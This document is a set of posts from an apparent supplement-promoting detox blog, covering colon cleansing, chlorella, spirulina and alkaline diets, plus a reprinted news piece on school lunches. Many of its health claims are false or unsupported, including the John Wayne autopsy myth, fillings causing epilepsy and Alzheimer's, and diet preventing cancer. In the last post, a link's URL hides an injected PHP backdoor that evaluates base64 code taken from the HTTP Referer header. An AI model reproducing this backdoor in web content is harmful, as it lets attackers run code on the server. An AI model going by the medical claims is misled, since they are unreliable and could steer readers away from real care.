A toxic world requires daily detoxification...

We live in a toxic world.

From the air we breathe and the water we drink, to the artificial ingredients and preservatives in our food supply, our bodies have to work overtime just to eliminate enough toxins to continue operating smoothly.
When our bodies get overloaded with toxins, our immune systems becomes weaker and we become more vulnerable to everyday viruses or even more significant health issues like cancer or liver disease. That’s why it’s important to incorporate some simple daily detoxification practices into our lives.
When people hear the word detoxification, or detox for short, they often think of treatment programs for drug or alcohol abuse or spa retreats that only the wealthy can afford. But there are simple things you can do each day – no matter how much money you make – to detoxify your body.
Below are three daily detoxification techniques you can perform each day to help eliminate toxins and beautify your body.
Lemon Water
Fresh lemon has amazing internal cleansing properties. Not only does it help eliminate water retention, but it also helps detoxify the liver. Plus, it’s high in vitamin C.

Each morning, before you eat or drink anything else, heat six to eight ounces of pure, clean water and squeeze the juice from half a lemon into the water. Sip slowly, giving your body at least 30 minutes to digest the warm lemon water before having coffee, tea or breakfast…

…Fiber Up Your Diet
Good Fiber is an important nutritional element that helps the body naturally detoxify and eliminate waste. As it moves through the digestive track and intestines, fiber absorbs toxic waste and carries it out of the body through the bowels.
The problem is, with our over-processed food supply, most people don’t get anywhere near the recommended daily requirement of 20-25g of fiber each day. With low fiber intake, our intestinal track can get congested and actually release accumulated toxins back into the bloodstream!

Get enough FIBER everyday
Getting adequate fiber each day does require a bit of planning. To get a jump start on your RDA, begin your day with a high fiber breakfast such as fiber-rich cereal and a piece of fruit. Snack on things like nuts, seeds, baby carrots and dried fruits. Make sandwiches with high fiber bread. Add beans to soups, stews and taco meat. And serve a green salad with chunky vegetables with dinner each night.

Or just try our daily detox in a glass of water- nutritious and full of soluble fiber!)

Health Note: Because fiber absorbs water as well as toxins, make sure you increase your water intake when you begin eating more fiber.
Beauty Bonus: Increasing fiber intake has been shown to help promote weight loss. So if you need to shed a few pounds, adding fiber to your diet should help.
There are many nutritional supplements and fiber preparations on the market designed to detox your body and it’s not a bad idea to follow a more significant colon cleansing program from time to time. But for easy daily detoxification, the three things listed here will help you cleanse and beautify your body every day!

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Natural Healing Options that Eliminate Constipatio...

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Is last year’s Big Mac literally still adding to your weight?

Having fire in your gut is okay unless it is actually residing in your colon!
If you have chronic constipation you can bet, there are a series of problems that are contributing. Poor diet together with chronic dehydration is often the top two culprits. Then add in low fiber and little exercise and you have a good recipe for disaster. Those of you who have had irritable bowel syndrome, constipations, gas, bloating or pain during bowel movements know just how debilitating this issue can be.
Everybody has constipation once in awhile

Nearly everyone at some time in his or her life will be constipated. Nevertheless the wide spread incidences of chronic bowel trouble that people are dealing with says that colon cleansing and overall colon health is an idea that some need to embrace and do something about. The most important thing to remember is to drink plenty of water so that movements are smooth and easy. I am a holistic practitioner who has seen problems with people and stomach pain for 20 years! Colon cleansing can improve your colon health and eliminate constipation for good.

What is regular, you may be surprised

Ask nearly anyone and they will tell you that a movement once a day is normal. In fact, nearly everyone who has come to me with chronic constipation asserts that they are regular as defined above. Some people even insist they are regular if they are only having a movement once every two or three days! Let me go on record as saying if you eat three times a day you should be eliminating three times a day as well, anything less means something is clogging up!
A few hard to lose pounds could be in your colon
You have probably heard of the infamous John Wayne autopsy story, apparently on his autopsy report there was listed 20 pounds of undigested fecal matter in his colon. Now if someone that rich and famous, with great medical care could have that so could you! There are even the rare reports of people losing 10-20 pounds after a healthy colon cleansing that was not stimulant based. It is a rare occurrence but it does happen, proving that whatever you take in must come out.

People who do these colonic cleansers  find that they are removing stuff they have had in their colon for years. It may sound fantastic to the everyday person that anyone could have that much matter in their body and not know it but it does happen, and to most people. Eliminate constipation today by trying a safe and healthy colon cleanse at home.

Colon Cleanse, what and where does it cleanse?
An good colon cleanser will clean the whole colon. For the most part this helps the large intestine however, a colon cleanse with at least partially cleanse the small intestine too. The main thing a colon detoxification addresses is the muscles around the colon; many times, they are not functioning properly. The reason they are not functioning well is lack of water. Any muscle will fail without the proper hydration and in the case of colon health, the muscle will stop contracting.

Waste can be building up for years – robbing you of your health, energy and libido
Waste materials are caught inside the intestine and dry out when the colon muscles stop contracting. Not all food is digested and when there is not enough, fluid to move the undigested material it is stuck in the intestines. After awhile it will harden and then prevent proper muscle contractions, so as you can see it really is a combination of things.

The next time you observe a person with a potbelly consider this; some of the belly is a product of accumulated fat, however a lot of it could be undigested food products. People who suffer from constant constipations tend to continually gain more and more weight. (30-50% of men who are over age 40 have what they call a beer belly)

Try a safe gentle colon cleanse at home

All of the weight gain is not a result of fat or beer either one. Some of it is the result of large amounts of fecal matter that is stuck in the colon. This means that toxins are resting in your body often taking your health and vitality in the process.

Try a natural cleanse colon program and see how much healthier and energized you will feel. Not to mention the fact that you will have better colon health and can eliminate constipation from your list of ailments.

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Dynamic Daily Detox with Chlorella Spirulina and P...

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A Daily detox is easier than you imagined

There had been a lot of things patients are experiencing in relation to some chemicals that are left in their bodies. Many modern alternatives in healthcare may have side effects in the body even if they had been performed to provide tentative remedies to other forms of the body that has certain ailments. In cases like this, detox chlorella is a very important component to consider along with other phytonutrients and chlorella Spirulina. Colon cleasning is also very popular these dasy, to cleanse colon at home make sure you use an all natural product that contains NO stimulants or laxatives.

The road to complete wellbeing is never smooth and easy. Detoxification is one vehicle that could take you to your pursuit thus commitment to take green supplements like detox chlorella, chlorella Spirulina and phytonutrients are sure ways of getting there.

Dental patients who resort to implants with the use of dental fillings may be at greater risks of heavy metal contamination in their system. Many natural practitioners claim that the chemicals inserted and used for dental fillings called amalgam dental fillings leave heavy metal traces in the bloodstream of the body. This very incident may cause innumerable health predicaments in very subtle yet pressing ways.

Your teeth might be poisoning you

Dental fillings are composed of harmful chemicals like cadmium, lead and mercury. These chemicals are implanted in your system that blends with proteins thus a cause of functional problems in the blood level. These certain proteins are actually responsible and play a major role in enzyme production, hormones and other cells.

Due to the proliferation of heavy metals in the bloodstream some disorders and dysfunctions may occur with the brain development. Toxic metals are root causes of Epilepsy, Alzheimer’s disease, bowel movement disorder and other related syndromes. In this light, a thorough detoxifying cleanse is very vital to rid the body of substances that hinder healthy outputs and develops certain diseases and ailments. Some studies would even point to harmful chemicals in the body as perpetrators of the fatal cancer disease.

Get rid of heavy metals and risk of associated diseases

Detox chlorella plays an indispensable role in the cleansing of the body from unnecessary and harmful heavy metals that enter the bloodstream and destroys proteins in the body. Chlorella is green algae that have a fibrous layer which binds the metals that are disseminated in the body. This green supplement facilitates the elimination of heavy metals by pulling them out of the body tissues.

Chlorella is a natural detoxifier and cleanser

Chlorella is definitely a great detoxification agent that has the potential of actively and efficiently absorbing toxins from the body which are easily accumulated in the modern world that relies most of the time with chemical laden products and items.

Chlorella has been widely accepted and used in many medical fields especially in the pursuit of having healthier options for total wellness. Natural therapy is indeed an ancient art and way of treating diseases and chlorella plays a vital part in this medical and healthcare dimension.

For effective detoxifying process from any heavy metals and chemicals in your body, consistency and regular intake of chlorella, Spirulina and other phytonutrients is the only way of purgation and complete cleansing of the body.

California Coconut Cleanse

Other from this particular role, green supplements are also good agents of producing and enhancing T-cell activities which can boost the immune system for lesser chances of sickness and other serious diseases.

We encourage you to try a safe gentle and effective colonnic cleanse with out total body detox program called the California Coconut Cleanse.  And to add Enerfood green super food powder to your daily routine, it is packed with detox chlorella and other naturally cleansing whole foods and herbs. It is 100% organic and gluten free.

You deserve to feel healthy – start today!

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GREEN SMOOTHIE recipe: Fast, healthy, superfood. M...

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Green Smoothier recipe.
The fastest, best tasting superfood shake.
Spirulina, chlorella, vitamins, phytonutrient.

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Daily Greens Powder Pump Up Antioxidants and Alkal...

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Spirulina is one of the most highly praised dietary health supplements in the world. This amazing super food now comes in a powder form that makes it very convenient and easy to consume. This highly nutritious green powder is packed with anti-oxidants that flushes out unhealthy toxins and boosts the immune system to help the body fight against harmful diseases. Daily intake of Spirulina is one of the best ways to alkalize and cleanse the blood. Needless to say, Spirulina is way better than any regular vitamins out in the market and a lot tastier too!

Spirulina is a highly acclaimed dietary health supplement renowned worldwide for its healing and wellness enhancing properties. It is a type of algae generally found in ponds and lakes in some parts of the world. It is known to be the easiest alga to be digested and is used as a healthy food source in many cultures all over the world. Regarded by experts as “food of the future” and “super food”, this remarkable alga is now conveniently available in the form of green powder.  This green powder is the most highly digestible form of Spirulina. Since this green powder mixes easily with liquids like fruit juice, Spirulina?s powerful nutrients are immediately absorbed by the body, making the benefits easily available for the body to consume.

Spirulina has an alkalizing effect in the blood. Regular consumption of this green powder is one of the best ways to incorporate an alkaline diet in today’s busy world. People from all over the world are experiencing a lot of stress in this highly industrialized times. People are giving less attention to their health because of their busy and hectic lifestyle. Needless to say, some people eventually fall ill, thus requiring expensive and intensive treatments.

In this day and age, there is no reason for people to disregard their overall well-being. Especially now, with the emergence this highly nutritious green powder, more and more people can regularly have a dose Spirulina in their diet. Being in a convenient powder form, this powerful green powder can be easily added to almost any kind of food and drink, from frozen fruits, salads, sauces, dishes and juice, there is definitely no reason to be lazy when it comes to taking care of one’s health.

This highly nutritious green powder is an all-in-one dietary health supplement. There is no need to spend a fortune on expensive vitamin and mineral supplements anymore.
This amazing green powder is perfect for people of all ages. It can be consumed by the young and old alike. Parents can make sure that their children get the proper amount of essential nutrients for optimum growth and development. Not only that, since the body deteriorates as people age, the more reason for old people to incorporate this green powder into their regular diet.

Prevention is definitely better than cure, so people don?t have to wait for their health to deteriorate before they pay attention to their well-being.

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A national movement pushing for better school food...

A national movement pushing for better school food by foodies, farmers, parents and educators

By Dana Hull

dhull@mercurynews.com

There’s unusual lunchtime chatter at ACE Charter School in East San Jose: Students are actually raving about lunch. School lunch. And so are some teachers.

Just ask Arallana Sanchez, 11, in between her munches on a chicken barbecue sandwich and sips of organic, hormone-free milk. “At my old school everyone always drank chocolate milk because the regular milk tasted like it had expired.”

Serving healthful meals at school is tougher than ever – most campuses don’t even have kitchens anymore. And the federal government’s low reimbursement rate – $2.68 for each poor child who qualifies for free lunch – makes it tough to buy high-quality produce. As school budgets get squeezed, many districts are going with the vendors offering the best bargain, not the best food.

But now a national push is under way to improve students’ midday meal.Schools like ACE Charter are contracting with companies that provide organic lunches. “Farm to School” programs that connect schools with local farms — like the relationship between Full Circle Farm in Sunnyvale and Santa Clara Unified School District — are popping up nationwide. And Slow Food USA is organizing “Time for Lunch,” a campaign designed to “get real food in schools.” The effort kicks off on Labor Day with more than 300 “Eat-ins,” or community pot lucks, planned across the nation.

Advocates hope the momentum will lead to an overhaul of the Child Nutrition Act, the bill that governs the National School Lunch Program and is up for reauthorization in Congress this fall.

“It’s the right time for this campaign,” said Gordon Jenkins of Slow Food USA. “People are more food conscious overall. We have Michelle Obama planting a garden in the White House lawn. Now the burden is on us to show that there’s a political will for this.”

Most local school districts contract with large food service companies that prepare food off-site, often in other states, then freeze it and ship it to school districts. The food is then heated in microwaves or warmers. Corn dogs, pizza, and nachos — meals that are high in fats and cholesterol — are standard fare.

“Schools don’t have kitchens anymore,” Jenkins said. “If we really want healthy food, the food needs to be prepared at the schools.”

But cost is an enormous barrier.

Advocates such as Slow Food, which was founded in opposition to fast food and emphasizes eating locally grown food, are urging Congress to raise the reimbursement rate so schools can buy fresher ingredients. Read the rest here

You can join the food revolution here by making sure your kids get Green nutrition everyday!

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Americas biggest health threat? Marketing Milk and...

From McDougall’s Medicine: Fighting the Big Fat Lies with Fad-free Truth: Dr. McDougall takes on the dairy, pharmaceutical & meat industries, & speaks out against low-carb diets.

This very revealing story has dire consequences for most Americans – are you one of them?

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A Green Alkaline Diet Reduces Risk of Cancer and O...

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A Green alkaline diet is the body’s best defense against harmful toxins that can eventually lead to serious diseases. People often worry about their health as soon as they get sick, not knowing that they don’t have to get sick to start being conscious of their health. Being healthy does not mean just being free from any sickness, but it means having a body that is in best condition, full of energy and not to mention, having a healthy body means having a healthy mind.

Green alkaline diet is a health regimen which focuses on diet, incorporating vegetables, fresh fruits, legumes, roots, tubers and nuts. Having an alkaline diet is our body’s best defense against cancer and other serious and life threatening diseases. People can no longer rely on expensive remedies and long term treatments, that’s why more and more people are having a green alkaline diet.

The solution to having a healthy body, free from serious diseases, is as easy as being more health conscious and being aware of the wonders we can get from nature; that is, being aware of the abundant source of a variety of fruits and vegetables rich in vital nutrients for optimum health.

So why do people need to go on a green alkaline diet? Most physical problems are caused by foods that produce acid after digestion. Nowadays, in this industrialized age, people suffer from health problems caused by stress. And the best way to combat sickness is to incorporate as much greens in daily food intake to balance the acids produced by food inside the body.

Many foods produce alkaline, but processed foods are usually acid producing. That is why it is important to have a green alkaline diet in order to maintain a healthy body. Since prevention is better than cure, the wisest thing to do is to start early to avoid future health complications. The problem with most people is they tend to worry about their health as soon as they feel their health slowly deteriorating.

People need an ample intake of fresh fruits and alkaline producing vegetables, and as much as possible, processed foods should be avoided. One more thing, synthetic vitamins promising optimum health should also be avoided since they don’t really give as much as they promise.

If in case you haven’t heard of Spirulina, it is probably the best health food to include in your green alkaline diet. Spirulina is a blue-green algae used as a natural nutritional supplement. It helps in promoting good blood circulation, and since the heart plays a very important role in bodily functions, it will provide superior health, free from any sickness.

It helps the body get rid of toxins, flushing out unwanted harmful chemicals that can develop into life threatening diseases. Another wonderful thing about blue green algae like Spirulina is that it is an essential source of beta-carotene, calcium, phosphorous, niacin and iron. It helps maintain overall wellness, helping the body feel rejuvenated, and ensuring optimum bodily functions.

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I will be posting an incredible testimony by a woman who has healed her body completely of cancer through eating the alkaline diet and working with Dr. Young. Friends, learn all you can about alkalinity of the body and the importance of … read the entire post here

PH balance and controlling over acidity in our body

In recent years a measure has emerged on the holistic health scene for balance and harmony within the body and in is becoming widely recognized as a true measure of health.  This measure is the acid alkaline balance also known as pH balance in the body. Research has indicated that too much acidity (or acidosis) ..read rest of this green food" href="http://enerfoodblog.com/2008/03/29/ph-balance-and-controlling-over-acidity-in-our-body/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.+%29&%/" mce_href="http://enerfoodblog.com/2008/03/29/ph-balance-and-controlling-over-acidity-in-our-body/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/">green food post here

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